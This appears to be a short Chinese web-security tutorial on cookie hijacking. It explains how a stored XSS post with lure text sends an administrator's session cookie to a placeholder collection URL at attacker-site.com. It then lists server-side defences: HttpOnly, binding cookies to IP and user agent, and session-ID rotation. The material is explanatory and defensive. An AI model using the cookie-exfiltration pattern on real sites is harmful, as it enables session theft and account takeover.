Web安全之Cookie劫持
1.Cookie是什么?
2.竊取的原理是什么?
3.系統(tǒng)如何防Cookie劫持呢?
看完這三個回答,你就明白哪位傳奇大俠是如何成功的!!!
Cookie:
HTTP天然是無狀態(tài)的協(xié)議,為了維持和跟蹤用戶的狀態(tài),引入了Cookie和Session。Cookie包含了瀏覽器客戶端的用戶憑證,相對較小。Session則維護在服務(wù)器,用于維護相對較大的用戶信息。
用通俗的語言,Cookie是鑰匙,Session是鎖芯。
Cookie簡單理解就是鑰匙,每次去服務(wù)端獲取資源,需要帶著這把鑰匙,只有自己的鎖芯(資源),才能打開。
如果你丟掉了鑰匙,那沒辦法,只能配一把鑰匙和鎖芯。
但是如果鑰匙被別人拿了,那別人就可以冒充你的身份,去打開你的鎖芯,從而獲取你的信息,甚至挪用你的資金。這是非常危險的。
XSS攻擊:
XSS(CrossSiteScripting)是跨站點腳本攻擊的縮寫。其就是利用站點開放的文本編輯并發(fā)布的功能,從而造成攻擊。
其實說的簡單一點,就是輸入javascript腳本,竊取并投遞cookie信息到自己的站點。
比如攻擊者以一個普通用戶登錄進來,然后在輸入框中提交以下數(shù)據(jù):
快看,這里有美女在洗澡
攻擊者提交了條帶標簽的數(shù)據(jù),該條數(shù)據(jù)保存于服務(wù)器端,而管理員登入時,不小心點擊這個鏈接時,則會把自身的cookie信息投遞給hacker設(shè)定的網(wǎng)址:
http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz
有了該session-id,攻擊者在會話有效期內(nèi)即可獲得管理員的權(quán)限,并且由于攻擊數(shù)據(jù)已添加入數(shù)據(jù)庫,只要攻擊數(shù)據(jù)未被刪除,那么攻擊還有可能生效,是持久性的。
Cookie劫持的防:
基于XSS攻擊,竊取Cookie信息,并冒充他人身份。
服務(wù)端如何防呢?
第一種辦法是:
給Cookie添加HttpOnly屬性,這種屬性設(shè)置后,只能在http請求中傳遞,在腳本中,document。cookie無法獲取到該Cookie值。對XSS的攻擊,有一定的防御值。但是對網(wǎng)絡(luò)攔截,還是泄露了。
第二種辦法:
在cookie中添加校驗信息,這個校驗信息和當前用戶外置環(huán)境有些關(guān)系,比如ip,useragent等有關(guān)。這樣當cookie被人劫持了,并冒用,但是在服務(wù)器端校驗的時候,發(fā)現(xiàn)校驗值發(fā)生了變化,因此要求重新登錄,這樣也是種很好的思路,去規(guī)避cookie劫持。
第三種辦法:
cookie中sessionid的定時更換,讓sessionid按一定頻率變換,同時對用戶而言,該操作是透明的,這樣保證了服務(wù)體驗的一致性。